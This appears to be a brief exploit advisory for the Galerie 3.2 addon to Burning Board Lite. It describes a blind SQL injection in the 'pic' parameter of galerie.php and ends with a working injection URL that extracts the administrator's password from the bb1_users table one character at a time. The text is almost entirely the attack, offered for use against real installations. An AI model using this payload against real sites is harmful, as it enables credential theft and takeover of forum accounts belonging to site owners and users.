# First, Galerie 3.2 is an addon for Burning Board Lite.
#
# http://www.site.com/galerie.php?action=show&pic=10
#
# If we add a ' to the pic id we get an SQL Error. But the Query is an UPDATE Query, so we can't use UNION.
#
# We have to try it with a Blind SQL Injection.
# ( that slow and shitty subquery thingy ;) )
#
# injection:
# http://www.site.com/galerie.php?action=show&pic=10'/**/and/**/ascii(substring((SELECT/**/password/**/from/**/bb1_users/**/WHERE/**/userid=1),1,1))>1/*
